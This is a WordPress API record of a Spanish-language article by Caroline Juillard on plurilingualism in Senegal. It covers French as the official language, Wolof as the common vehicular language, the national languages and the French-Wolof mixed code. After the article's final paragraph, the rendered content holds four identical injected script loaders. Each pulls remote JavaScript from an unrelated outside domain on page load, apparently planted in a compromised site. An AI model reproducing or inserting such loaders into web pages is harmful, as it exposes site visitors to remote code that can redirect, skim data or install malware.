{"id":66844,"date":"2015-09-05T02:27:18","date_gmt":"2015-09-05T00:27:18","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66844"},"modified":"2025-10-21T21:57:49","modified_gmt":"2025-10-21T19:57:49","slug":"el-plurilinguismo-en-senegal","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-senegal\/","title":{"rendered":"El plurilinguismo en Senegal"},"content":{"rendered":"<p><span style=\"font-size:12px\">Publicado por Caroline Juillard el February 1, 2011<\/span><br \/>\n&nbsp;<br \/>\n<em>Por Caroline Juillard, Profesor em\u00e9rito, Universidad Par\u00eds Descartes<\/em><\/p>\n<p><strong>As\u00ed como en muchos pa\u00edses de \u00c1frica subsahariana, la pr\u00e1ctica del plurilinguismo es diaria en Senegal;<\/strong> es el resultado del contacto entra una lengua oficial (franc\u00e9s), una lengua vehicular hablada por m\u00e1s del 90 % de la poblaci\u00f3n (el ouolof), 14 lenguas nacionales (estudiadas y codificadas) y una decena de otras lenguas de difusi\u00f3n m\u00e1s reducida, que hacen la riqueza de este patrimonio ling\u00fc\u00edstico. Esta situaci\u00f3n contempor\u00e1nea es el fruto de una historia antigua.<\/p>\n<p>Senegal es el primer pa\u00eds de \u00c1frica en el cual el uso de franc\u00e9s ha sido puesto en contacto, desde finales del siglo XVII, con lenguas africanas, principalmente el ouolof. Estos contactos se llevan a cabo en el transcurso del per\u00edodo fundador de las relaciones entre comerciantes y marineros franceses por una parte y los africanos por otra parte, en lo que se convertir\u00e1 en la primera capital del pa\u00eds, Saint-Louis de Senegal.<\/p>\n<p><strong>Las dos lenguas comunes de Senegal son pues hoy en d\u00eda el ouolof y franc\u00e9s, <\/strong>esta \u00faltima siendo la \u00fanica que tiene el estatus de lengua oficial: el escrito se qued\u00f3 como herencia del franc\u00e9s, en particular en la ense\u00f1anza secundaria y universitaria, pero tambi\u00e9n en los medios de comunicaci\u00f3n, la administraci\u00f3n y el mundo de los negocios.<\/p>\n<p>En lo que concierne al ouolof, es asociado a una identidad senegalesa, debido a su gran difusi\u00f3n y a una transmisi\u00f3n que sobrepasa su marco \u00e9tnico. Pero a pesar de esta gran difusi\u00f3n, tiene el mismo estatus que otras lenguas consideradas nacionales, con un peso demogr\u00e1fico sin embargo mucho inferior.<\/p>\n<p>Es interesante notar, por otro lado, que con el paso del tiempo, el franc\u00e9s y el ouolof cumplieron con funciones complementarias para las \u00e9lites urbanas: <strong>del contacto de estas dos lenguas naci\u00f3 en efecto una forma de lengua amalgamada<\/strong> que se manifiesta principalmente por pr\u00e9stamos de palabras del franc\u00e9s y alternaciones de frases construidas, para las primeras, sobre la base estructural del ouolof, y para las segundas sobre la base estructural de franc\u00e9s. La proporci\u00f3n y la forma de los rasgos del franc\u00e9s y de los rasgos del ouolof var\u00edan seg\u00fan las personas y son socialmente significativas. Este c\u00f3digo mixto se utiliza actualmente de manera general en el seno de la \u00e9lite de Dakar y es repetido por una gran parte de la comunidad urbana, incluyendo a las personas no escolarizadas o escolarizadas pobremente.<\/p>\n<p>En cuanto a <strong>las lenguas que tienen estatuto de lengua nacional<\/strong>, contamos actualmente con unas veinte. Adem\u00e1s del ouolof, las cinco principales lenguas que han recibido este estatuto desde la \u00e9poca del presidente Senghor son el fula (lengua hablada como lengua primera o segunda lengua, por cerca del 25 % de los locutores del pa\u00eds), el sereer (hablado por cerca del 18 % de los locutores), el joola (hablado por cerca del 7 % de los locutores), el mandinka (cerca del 5 % de los locutores) y el sonink\u00e9 (muy bajo peso demogr\u00e1fico). Todas estas lenguas forman parte del grupo de lenguas llamadas N\u00edger Congo (grupo mand\u00e9 y grupo occidental \u2013 atl\u00e1ntico) y algunas de ellas han sido introducidas estos \u00faltimos a\u00f1os como medios de lectura \/ escritura en la ense\u00f1anza primaria.<\/p>\n<p>Existen <strong>otras peque\u00f1as lenguas y numerosos dialectos en curso de descripci\u00f3n,<\/strong> cuyo uso todav\u00eda se mantiene. Todas estas lenguas pueden ser objeto de elecciones separadas en la comunicaci\u00f3n, y ser emblem\u00e1ticas de pertenencias de grupo, \u00e9tnicas, regionales o lugare\u00f1as.<\/p>\n<p>Por otro lado, <strong>ciertas lenguas habladas en los pa\u00edses vecinos<\/strong> est\u00e1n igualmente en uso sobre el territorio, como el criollo portugu\u00e9s (Guinea Bissau), el \u00e1rabe hassanya (Mauritania), o incluso el bambara (Mal\u00ed).<\/p>\n<p><strong>Para imaginar el cuadro completo de la pr\u00e1ctica del plurilinguismo en Senegal, hay que mencionar por fin la capacidad de los usuarios para enriquecer su repertorio ling\u00fc\u00edstico en el curso de su vida y en el curso de sus peregrinaciones. <\/strong>Los Senegaleses son por lo menos biling\u00fces, y a veces ampliamente pluriling\u00fces, en particular al sur del pa\u00eds, en Casamance. Este plurilinguismo se percibe en las conversaciones diarias: en funci\u00f3n de las estrategias de identidad o estil\u00edsticas, los locutores recurren a una lengua o a otra, o incluso a mezclas de lenguas y muy ampliamente a un pr\u00e9stamo de palabras del franc\u00e9s y al ouolof.<\/p>\n<p><strong>El plurilinguismo senegal\u00e9s se caracteriza pues por un repertorio ling\u00fc\u00edstico rico <\/strong>y utilizado todav\u00eda, sobre todo en zona rural, la presencia de una lengua com\u00fan a nivel nacional y una cierta \u201cpatrimonializaci\u00f3n\u201d del franc\u00e9s, a trav\u00e9s del pr\u00e9stamo de palabras y del c\u00f3digo mixto.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publicado por Caroline Juillard el February 1, 2011 &nbsp; Por Caroline Juillard, Profesor em\u00e9rito, Universidad Par\u00eds Descartes As\u00ed como en muchos pa\u00edses de \u00c1frica subsahariana, la pr\u00e1ctica del plurilinguismo es diaria en Senegal; es el resultado del contacto entra una lengua oficial (franc\u00e9s), una lengua vehicular hablada por m\u00e1s del 90 % de la poblaci\u00f3n [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-66844","post","type-post","status-publish","format-standard","hentry","category-otro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>El plurilinguismo en Senegal - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-senegal\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"El plurilinguismo en Senegal - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Publicado por Caroline Juillard el February 1, 2011 &nbsp; Por Caroline Juillard, Profesor em\u00e9rito, Universidad Par\u00eds Descartes As\u00ed como en muchos pa\u00edses de \u00c1frica subsahariana, la pr\u00e1ctica del plurilinguismo es diaria en Senegal; es el resultado del contacto entra una lengua oficial (franc\u00e9s), una lengua vehicular hablada por m\u00e1s del 90 % de la poblaci\u00f3n [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-senegal\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2015-09-05T00:27:18+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T19:57:49+00:00\" \/>\n<meta name=\"author\" content=\"Sorosoro\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sorosoro\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-senegal\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-senegal\/\"},\"author\":{\"name\":\"Sorosoro\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"headline\":\"El plurilinguismo en Senegal\",\"datePublished\":\"2015-09-05T00:27:18+00:00\",\"dateModified\":\"2025-10-21T19:57:49+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-senegal\/\"},\"wordCount\":817,\"articleSection\":[\"Otro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-senegal\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-senegal\/\",\"name\":\"El plurilinguismo en Senegal - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2015-09-05T00:27:18+00:00\",\"dateModified\":\"2025-10-21T19:57:49+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-senegal\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-senegal\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-senegal\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"El plurilinguismo en Senegal\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\",\"name\":\"Sorosoro\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"El plurilinguismo en Senegal - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-senegal\/","og_locale":"es_ES","og_type":"article","og_title":"El plurilinguismo en Senegal - Sorosoro","og_description":"Publicado por Caroline Juillard el February 1, 2011 &nbsp; Por Caroline Juillard, Profesor em\u00e9rito, Universidad Par\u00eds Descartes As\u00ed como en muchos pa\u00edses de \u00c1frica subsahariana, la pr\u00e1ctica del plurilinguismo es diaria en Senegal; es el resultado del contacto entra una lengua oficial (franc\u00e9s), una lengua vehicular hablada por m\u00e1s del 90 % de la poblaci\u00f3n [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-senegal\/","og_site_name":"Sorosoro","article_published_time":"2015-09-05T00:27:18+00:00","article_modified_time":"2025-10-21T19:57:49+00:00","author":"Sorosoro","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Sorosoro","Tiempo de lectura":"4 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-senegal\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-senegal\/"},"author":{"name":"Sorosoro","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"headline":"El plurilinguismo en Senegal","datePublished":"2015-09-05T00:27:18+00:00","dateModified":"2025-10-21T19:57:49+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-senegal\/"},"wordCount":817,"articleSection":["Otro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-senegal\/","url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-senegal\/","name":"El plurilinguismo en Senegal - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2015-09-05T00:27:18+00:00","dateModified":"2025-10-21T19:57:49+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-senegal\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-senegal\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-plurilinguismo-en-senegal\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"El plurilinguismo en Senegal"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917","name":"Sorosoro","url":"https:\/\/www.sorosoro.org\/es\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66844","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=66844"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66844\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=66844"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=66844"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=66844"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}